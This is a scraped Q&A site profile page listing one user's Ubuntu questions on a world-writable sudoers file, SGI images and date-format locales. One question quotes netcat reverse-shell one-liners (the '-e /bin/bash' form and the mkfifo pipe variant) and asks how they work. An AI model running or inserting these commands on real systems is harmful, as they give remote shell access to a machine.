AskOverflow.Dev

AskOverflow.Dev Logo AskOverflow.Dev Logo

AskOverflow.Dev Navigation

  • 主页
  • 系统&网络
  • Ubuntu
  • Unix
  • DBA
  • Computer
  • Coding
  • LangChain

Mobile menu

Close
  • 主页
  • 系统&网络
    • 最新
    • 热门
    • 标签
  • Ubuntu
    • 最新
    • 热门
    • 标签
  • Unix
    • 最新
    • 标签
  • DBA
    • 最新
    • 标签
  • Computer
    • 最新
    • 标签
  • Coding
    • 最新
    • 标签
主页 / user-844271

Gowtham's questions

Martin Hope
Gowtham
Asked: 2019-07-17 00:16:07 +0800 CST

sudo:/etc/sudoers 在 Azure 上是世界可写的

  • 2

虽然这个问题有很多答案,但这里的场景有所不同:

我在 Azure 上使用 Ubuntu 18.04。

错误地,我使sudoers文件世界可写(sudo chmod o+w /etc/sudoers)。有适当的方法来修复。为此,我需要一个 Ubuntu 用户的密码

输出:-

ubuntu@azurevm:~$ ls -la /etc/sudoers
-r--r---w- 1 root root 755 Jan 18  2018 /etc/sudoers
ubuntu@azurevm:~$ 
ubuntu@azurevm-VM:~$ 
ubuntu@azurevm:~$ 
ubuntu@azurevm:~$ pkexec chmod 0755 /etc/sudoers
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/chmod' as the super user
Authenticating as: Ubuntu (ubuntu)
Password: 
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
ubuntu@azurevm:~$ uname -a
Linux azurevm 4.18.0-1018-azure #18~18.04.1-Ubuntu SMP Tue May 7 18:09:35 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

而部署 VM 时选择的身份验证模式是基于 SSH 的。还有其他方法可以修复。我既无法重置 ubuntu 的密码,也无法访问 azure CLI。

让我知道如何解决此问题,或者您是否需要有关此的更多信息。

permissions cloud password sudo azure
  • 2 个回答
  • 913 Views
Martin Hope
Gowtham
Asked: 2019-03-21 21:47:12 +0800 CST

这个命令是如何工作的?(反壳)

  • 6

有一种简单的方法可以连接两个系统并使用nc命令获取 shell,如下所示。

机器A听

nc -nlvp 4444

机器 B 连接

nc 192.168.4.4 4444 -e /bin/bash

但是-e选项不再存在,手册页建议按照以下方式执行命令

机器A听

nc -nlvp 4444

机器 B 连接

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.4.4 4444 >/tmp/f

我确实知道 mkfifo(未命名管道)背后的概念以及重定向和管道的工作原理。但这仍然让我感到困惑。

networking command-line bash pipe netcat
  • 1 个回答
  • 3202 Views
Martin Hope
Gowtham
Asked: 2019-03-16 03:49:42 +0800 CST

我可以使用什么软件打开 SGI 图像?

  • 2

我有一个sgi格式的图像文件。

$ file image.sgi                        
image.sgi: SGI image data, RLE, 3-D, 280 x 200, 4 channels

我怎样才能打开它?尝试使用eog但它不会渲染它们。

有这种文件格式的工具吗?

software-recommendation image-processing
  • 1 个回答
  • 449 Views
Martin Hope
Gowtham
Asked: 2018-08-21 00:58:24 +0800 CST

更改默认日期格式

  • -1

从过去几天开始,我一直在尝试更改默认日期格式。

当前格式:-

$date
Mon Aug 20 14:14:43 IST 2018

预期格式:-

$date
Monday August 20 14:14:43 IST 2018

当前语言环境

$locale

LANG=en_IN
LANGUAGE=
LC_CTYPE=en_IN
LC_NUMERIC="en_IN"
LC_TIME=en_DK
LC_COLLATE="en_IN"
LC_MONETARY="en_IN"
LC_MESSAGES="en_IN"
LC_PAPER="en_IN"
LC_NAME="en_IN"
LC_ADDRESS="en_IN"
LC_TELEPHONE="en_IN"
LC_MEASUREMENT="en_IN"
LC_IDENTIFICATION="en_IN"
LC_ALL=

/usr/share/i18n/locales/en_DK中的LC_TIME部分

% date formats following ISO 8601-1988
d_t_fmt  "<U0025><U0059><U002D><U0025><U006D><U002D><U0025><U0064><U0054><U0025><U0054><U0020><U0025><U005A>"
d_fmt    "<U0025><U0059><U002D><U0025><U006D><U002D><U0025><U0064>"
t_fmt    "<U0025><U0054>"
am_pm    "";""
t_fmt_ampm  ""

% Appropriate date representation (date(1))   "%a %b %e %H:%M:%S %Z %Y"
date_fmt    "<U0025><U0061><U0020><U0025><U0062><U0020><U0025><U0065>/
<U0020><U0025><U0048><U003A><U0025><U004D><U003A><U0025><U0053><U0020>/
<U0025><U005A><U0020><U0025><U0059>"

我已经参考了这个教程,我认为它是最好的,而且足够长,可以清楚地说明。

我正在使用 Ubuntu 16.04 拉伸。我需要修改此en_DK文件或创建适合我需要的自定义语言环境。尽管有几种解决方法,例如创建别名。但我更愿意知道出了什么问题。

server locale date
  • 1 个回答
  • 639 Views
Martin Hope
Gowtham
Asked: 2018-08-11 05:04:13 +0800 CST

如何更改默认日期格式(使用 LC_TIME)?

  • 2

如何通过在语言环境中date进行修改来更改命令格式LC_TIME?

目前,月份中的日期使用%e格式。我需要它以%d格式显示。

以下是当前格式:

#date
Thu Aug 9 18:26:11 IST 2018

预期格式:

#date
Thu Aug 09 18:26:11 IST 2018

这是我的语言环境:

#locale
LANG=en_US.UTF-8
LANGUAGE=
LC_CTYPE=en_IN
LC_NUMERIC="en_US.UTF-8"
LC_TIME="en_US.UTF-8"
LC_COLLATE="en_US.UTF-8"
LC_MONETARY="en_US.UTF-8"
LC_MESSAGES="en_US.UTF-8"
LC_PAPER="en_US.UTF-8"
LC_NAME="en_US.UTF-8"
LC_ADDRESS="en_US.UTF-8"
LC_TELEPHONE="en_US.UTF-8"
LC_MEASUREMENT="en_US.UTF-8"
LC_IDENTIFICATION="en_US.UTF-8"
LC_ALL=

LC_TIME中的部分/usr/share/i18n/locales/en_US:

    LC_TIME
abday   "Sun";"Mon";"Tue";"Wed";"Thu";"Fri";"Sat"
day "Sunday";/
    "Monday";/
    "Tuesday";/
    "Wednesday";/
    "Thursday";/
    "Friday";/
    "Saturday"

week 7;19971130;1
abmon   "Jan";"Feb";/
    "Mar";"Apr";/
    "May";"Jun";/
    "Jul";"Aug";/
    "Sep";"Oct";/
    "Nov";"Dec"
mon "January";/
    "February";/
    "March";/
    "April";/
    "May";/
    "June";/
    "July";/
    "August";/
    "September";/
    "October";/
    "November";/
    "December"
% Appropriate date and time representation (%c)
d_t_fmt "%a %d %b %Y %r %Z"
%
% Appropriate date representation (%x)
d_fmt   "%m//%d//%Y"
%
% Appropriate time representation (%X)
t_fmt   "%r"
%
% Appropriate AM/PM time representation (%r)
t_fmt_ampm "%I:%M:%S %p"
%
% Strings for AM/PM
%
am_pm   "AM";"PM"
date_fmt "%F %Z"
END LC_TIME

请让我知道我可以做些什么来获得预期的格式。

注意:我只需要执行date没有任何格式化选项的命令。

command-line locale coreutils date
  • 1 个回答
  • 12107 Views

Sidebar

Stats

  • 问题 205573
  • 回答 270741
  • 最佳答案 135370
  • 用户 68524
  • 热门
  • 回答
  • Marko Smith

    如何运行 .sh 脚本?

    • 16 个回答
  • Marko Smith

    如何安装 .tar.gz(或 .tar.bz2)文件?

    • 14 个回答
  • Marko Smith

    如何列出所有已安装的软件包

    • 24 个回答
  • Marko Smith

    无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗?

    • 25 个回答
  • Martin Hope
    Flimm 如何在没有 sudo 的情况下使用 docker? 2014-06-07 00:17:43 +0800 CST
  • Martin Hope
    Ivan 如何列出所有已安装的软件包 2010-12-17 18:08:49 +0800 CST
  • Martin Hope
    La Ode Adam Saputra 无法锁定管理目录 (/var/lib/dpkg/) 是另一个进程在使用它吗? 2010-11-30 18:12:48 +0800 CST
  • Martin Hope
    David Barry 如何从命令行确定目录(文件夹)的总大小? 2010-08-06 10:20:23 +0800 CST
  • Martin Hope
    jfoucher “以下软件包已被保留:”为什么以及如何解决? 2010-08-01 13:59:22 +0800 CST
  • Martin Hope
    David Ashford 如何删除 PPA? 2010-07-30 01:09:42 +0800 CST

热门标签

10.10 10.04 gnome networking server command-line package-management software-recommendation sound xorg

Explore

  • 主页
  • 问题
    • 最新
    • 热门
  • 标签
  • 帮助

Footer

AskOverflow.Dev

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

Language

  • Pt
  • Server
  • Unix

© 2023 AskOverflow.DEV All Rights Reserve